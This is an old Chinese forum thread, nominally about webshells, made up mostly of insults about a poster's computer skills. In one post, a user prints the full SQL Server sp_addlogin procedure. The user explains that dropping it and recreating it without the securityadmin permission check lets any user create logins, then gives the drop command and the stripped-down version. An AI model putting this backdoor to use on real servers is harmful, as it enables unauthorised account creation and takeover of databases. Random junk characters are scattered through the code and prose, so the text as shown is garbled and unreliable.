[原创]webshell篇

就凭你？
+ `3 `5 E5 b+ J4 T# e% ~有资格这样评价师院学生的计算机水平？？
$ B) \: X% b7 V" h用这种口气诋毁别人！
鄙视你

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4 r% U) b# c3 V# c; N! Q

[B]以下是引用[I]Lindx[/I]在2005-6-7 17:40:59的发言：[/B][BR]限
  E2 A/ R( b! m0 B# M  c这个定义未免太烂了吧，我想知道你用什么方法获得人家的webshell，靠那些在网上公布的傻瓜工具吗。可是到头来还是不只所以然，那你凭什么教人家怎么去研究
对于师院人士的计算机水平，我实在不敢恭维，没有天才的诞生啊
) c- F7 v6 [2 j# g: P# x哎，可悲啊

就是就是。。
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[B]以下是引用[I]Lindx[/I]在2005-6-6 9:45:42的发言：[/B][BR]对一个深陷迷途的同志，各位大虾用得着这样蔑视它吗，我们应当怀着一颗仁慈的心来拯救它，爱护它，我KAO，JB

[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言：[/B][BR]create procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
. ?6 u( T# N, v8 f$ C* @1 vCONFIGURABLE???
+ b# x: E/ M2 r,@deflanguage   sysname = Null
$ }, w2 {* o4 E0 ]( P,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
7 p$ ^  y2 k: V: h) Y/ _Declare @ret   int   -- return value of sp call
-- CHECK PERMISSIONS --
IF (not is_srvrolemember(\'securityadmin\') = 1)
begin
3 r, g5 n$ K2 X, }dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
8 D. r/ w' j6 m  l2 M  bend
ELSE
, J4 N+ x# i1 H2 Vbegin
9 W- `1 n. }0 q* @dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
-- DISALLOW USER TRANSACTION --
' R4 R; k% y4 ]) U. C  Zset implicit_transactions off
/ H9 @: i5 M, o8 QIF (@@trancount > 0)
. n1 H; g# D- S& y: x- T. Bbegin
/ L( A! E: H. {3 l* Fraiserror(15002,-1,-1,\'sp_addlogin\')
/ q) z3 j: t. e8 ]# jreturn (1)
end
3 o+ S; ]0 U; t* p-- VALIDATE LOGIN NAME AS:
1 v& E: f0 T8 Y-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
% U& W8 v2 m8 h: R! A  ^, [- w-- (3) Not a reserved login name
0 V: Z8 [# t; A  L; jexecute @ret = sp_validname @loginame
9 N  D( ~/ I6 g  zif (@ret <> 0)
  return (1)
. p. D# f: W. _& `9 k$ Wif (charindex(\'\\\', @loginame) > 0)
& x' ]8 I! l: J! Q* tbegin
+ ]0 H* b' @& m9 t# b/ {  raiserror(15006,-1,-1,@loginame)
  return (1)
end
9 p4 y! R2 r: v4 p--Note: different case sa is allowed.
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
begin
+ R# o* Q" [' J0 G+ r) C/ B0 Braiserror(15405, -1 ,-1, @loginame)
return (1)
; o4 {9 ^5 q0 F, Xend
# [' D' m0 t' |-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
% R6 d3 \& W0 w! V1 `/ GIF (@ret <> 0)
return (1)
end
ELSE
begin
/ s! O( [" L- d$ Q# o4 X, {; {select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
* l$ k/ V  Q5 [- F1 r) J, flanguage
if @deflanguage is null
) m  {. p1 H. xselect @deflanguage = N\'us_english\'
end
* U+ K! _) o& s1 H-- VALIDATE SID IF GIVEN --
) U1 ~# I, L+ ?% V0 vif ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
5 A$ P- F: k2 X, f2 zreturn (1)
+ ~3 O- @4 x8 S2 P$ x$ x/ f: h0 l4 uend
else if @sid is null
0 `* K8 L6 E9 r5 [' m& dselect @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
& c, o4 r. |5 {0 W% Zraiserror(15433,-1,-1)
$ U' A% \8 g- ]/ kreturn (1)
: G2 H' {0 H8 M5 Aend
-- VALIDATE AND USE ENCRYPTION OPTION --
7 l+ y( v# ~5 V8 _" I* E# L5 Y  qdeclare @xstatus smallint
select @xstatus = 2 -- access
$ ]; a# I  D) L& C2 Y# v" mif @encryptopt is null
select @passwd = pwdencrypt(@passwd)
" u5 [$ ?5 E2 eelse if @encryptopt = \'skip_encryption_old\'
+ x% q# X4 o: s# n+ M- a9 w! Fbegin
2 z5 P, T: z6 m: M% }" s( fselect @xstatus = @xstatus | 0x800, -- old-style
encryption
; q: t9 \# w) j) a@passwd = convert(sysname, convert(varbinary
3 J6 T' H0 T$ w$ U0 |8 D(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> \'skip_encryption\'
$ W) j5 _. N" h$ kbegin
raiserror(15600,-1,-1,\'sp_addlogin\')
6 G' Z' i) z4 T5 H. D. c, m: Ereturn 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
; Y7 O( i) @: x( eINSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
+ C) b5 L' T: \* r$ L7 J( vif @@error <> 0 -- this indicates we saw duplicate row
  return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
6 t7 }; h1 \" Y* U2 ~1 a- s0 f8 ]SYSLOGINS CHANGE --
  A' t- e+ o6 s) w: rexec(\'use master grant all to null\')
1 H2 g$ w& h* d3 j. V-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
+ S  w' W! L4 d4 k3 H0 |return (0) -- sp_addlogin
GO
  T; U. M5 t) {7 Y1 q2 ^5 M+ ], m之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
8 _1 `7 ^8 @6 P2 i' V: Asp_addlogin，主要是这里一段再搞鬼
-- CHECK PERMISSIONS --
IF (not is_srvrolemember(\'securityadmin\') = 1)
begin
' I6 e! f( y- R' b# jdbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
8 U3 P, H) L, o8 Q! Zraiserror(15247,-1,-1)
' d/ o& H- M6 W1 {2 `& ~return (1)
# D( d' l8 H! I4 B' H5 pend
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end

9 Y0 ~( e. i% ^; G. `2 V9 l7 ~只要我们把这段代码删拉，任何权限的用户都可以增加用户拉。
drop procedure sp_addlogin


$ f9 W& j, ~' q4 t8 S0 q/ C
9 p4 d/ N, S0 [然后再来恢复sp_addlogin

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1 \! o# D2 Q( V% \8 M3 pcreate procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
2 L( Q1 U- A5 ]; {,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
# d: }! Z5 ]( I+ ICONFIGURABLE???
6 w/ d5 i$ a" u6 U# K4 z% n" x+ g3 ~9 q,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
& }2 Y( J3 G$ r' D% H-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
* E" L6 p* h7 K8 P" y( R& ~set nocount on
Declare @ret   int   -- return value of sp call

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
9 e2 ]0 @4 ~) k( z  ?5 f% tbegin
# a3 a2 B' E* g% f9 g; C$ rraiserror(15002,-1,-1,\'sp_addlogin\')
3 p% c! K4 X9 ^( o' treturn (1)
6 H' f' M. w  v* L" P9 F; P8 Lend
-- VALIDATE LOGIN NAME AS:
' ?. }* _+ o0 j# D" x-- (1) Valid SQL Name (SQL LOGIN)
6 z1 N, p+ {: ]0 O; t6 N-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
. Z& r8 A1 V2 X# j% Dif (@ret <> 0)
, a$ K+ x7 }  C( j# p( @  return (1)
4 E$ G! o' U7 _/ i) fif (charindex(\'\\\', @loginame) > 0)
begin
. a/ l4 l, o0 Y1 v1 ]/ `  raiserror(15006,-1,-1,@loginame)
& V6 ^6 Q4 \1 k' [: ]% k  return (1)
end
. t7 u1 Q. R+ p9 D! }--Note: different case sa is allowed.
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
, ~( |7 U* H: N  `: Q2 \+ X* M9 F* sbegin
# G7 {( {/ G4 F! ^- A* }raiserror(15405, -1 ,-1, @loginame)
$ x& t* A% l; x1 J5 K+ t) y1 xreturn (1)
. F& i* U* L0 Q9 ?/ f  L. aend
& b, A; [6 v5 R9 A0 P-- LOGIN NAME MUST NOT ALREADY EXIST --
* h6 r* C6 F6 S: s! bif exists(select * from master.dbo.syslogins where loginname =
@loginame)
3 C7 l! V5 I! M4 tbegin
raiserror(15025,-1,-1,@loginame)
2 ~. E4 T2 G! ~& I( `. B' Sreturn (1)
' [: y. N; H5 g' r9 oend
4 n6 l; i: U8 Y  r. L+ g. V# M-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
& h9 T6 S& X/ t. I6 V5 j, Nreturn (1)
end
$ s% A/ o; c) f& q-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
7 D7 d% l% B% l2 B! p; cExecute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
% z/ H% a! U: H" y9 rend
" y, F5 _  N) n5 }: q6 i# DELSE
5 F5 B: C4 Y) l& y1 o  k7 ebegin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
! a: O5 D( p! N5 J- zselect @deflanguage = N\'us_english\'
% t) x. |4 _% s. s# r1 Lend
-- VALIDATE SID IF GIVEN --
# B$ R8 G4 L/ t/ A: T: I! F3 r, ]if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
4 t( i( u7 i8 n* l) P, ?( jraiserror(15419,-1,-1)
return (1)
% {9 x% O3 [: D7 b: J" d' cend
else if @sid is null
( V% K+ ~' @" c- K' T9 Hselect @sid = newid()
) b2 S/ `3 ]4 }) s: G: bif (suser_sname(@sid) IS NOT Null)
begin
$ \6 E; ^1 ~2 R& N7 Oraiserror(15433,-1,-1)
9 U' y! J: |  h9 z. L& E, B2 ?" Lreturn (1)
( J$ V; i; C) d$ vend
2 q9 h: |- j) f; P( G' b: T-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
. ~, a  o. u5 N0 gif @encryptopt is null
0 d: ]$ [% v; u) Yselect @passwd = pwdencrypt(@passwd)
* o1 S& m2 N: d: N5 @1 uelse if @encryptopt = \'skip_encryption_old\'
begin
8 e* q& I; Q  E, |select @xstatus = @xstatus | 0x800, -- old-style
encryption
2 x# y! O$ ^& i) P! R- F: s; {@passwd = convert(sysname, convert(varbinary
/ V8 D* ^" H% o* w6 B+ O0 ~& N(30), convert(varchar(30), @passwd)))
% D+ [8 N+ N( o7 {) Zend
: Y# Z" N- @. Y% X0 Helse if @encryptopt <> \'skip_encryption\'
begin
raiserror(15600,-1,-1,\'sp_addlogin\')
" g4 I) D; {8 e0 I# l3 greturn 1
/ l% N9 t- G8 `) P5 pend
1 N9 Z. z  p( l# k! z-- ATTEMPT THE INSERT OF THE NEW LOGIN --
. p- B5 c, r7 Q; x$ h. Q/ _& N: ZINSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
: d- d# }& m% T: p4 ^5 C    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
  M9 X9 o) O5 d7 u3 \  return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
1 U2 |- h6 J( \) R1 eSYSLOGINS CHANGE --
exec(\'use master grant all to null\')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
% _( H4 n9 ?  I' {& yreturn (0) -- sp_addlogin
GO

MM很强啊..    是不是师院计算机系的.??

就当凭着这美丽的回帖..  
偶帮你加精了..

我不是计算机系的。
3 ^& n: t8 I8 m* U自己学的。
# D5 m5 p/ M4 s

[B]以下是引用[I]瀟濏づ聴渢[/I]在2005-6-17 17:10:31的发言：[/B][BR]

MM很强啊..    是不是师院计算机系的.??

晕..  不是吧.. 自学的?...

我不是计算机系的！！！

...晕...在这里讨论还要别人给QB